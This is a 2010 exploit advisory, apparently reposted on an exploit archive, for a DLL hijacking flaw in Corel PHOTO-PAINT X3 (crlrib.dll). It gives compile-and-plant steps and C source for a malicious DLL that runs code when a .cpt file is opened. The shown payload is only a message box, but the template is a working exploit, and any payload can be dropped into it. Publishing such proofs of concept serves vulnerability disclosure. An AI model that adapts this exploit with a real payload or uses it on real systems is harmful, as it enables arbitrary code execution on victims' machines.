Corel PHOTO-PAINT X3 v13.0.0.576 DLL Hijacking Exploit (crlrib.dll)

2010-08-25 12:46:06

/*

Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

Vendor: Corel Corporation
Product Web Page: http://www.corel.com
Affected Version: X3 v13.0.0.576

Summary: Graphic design software for striking visual communication.

Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extension is .cpt thru crlrib.dll library.

----
gcc -shared -o crlrib.dll corelpp.c

Compile and rename to crlrib.dll, create a file test.cpt and
put both files in same dir and execute.
----

Tested on Microsoft Windows XP Professional SP3 (EN)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk


25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.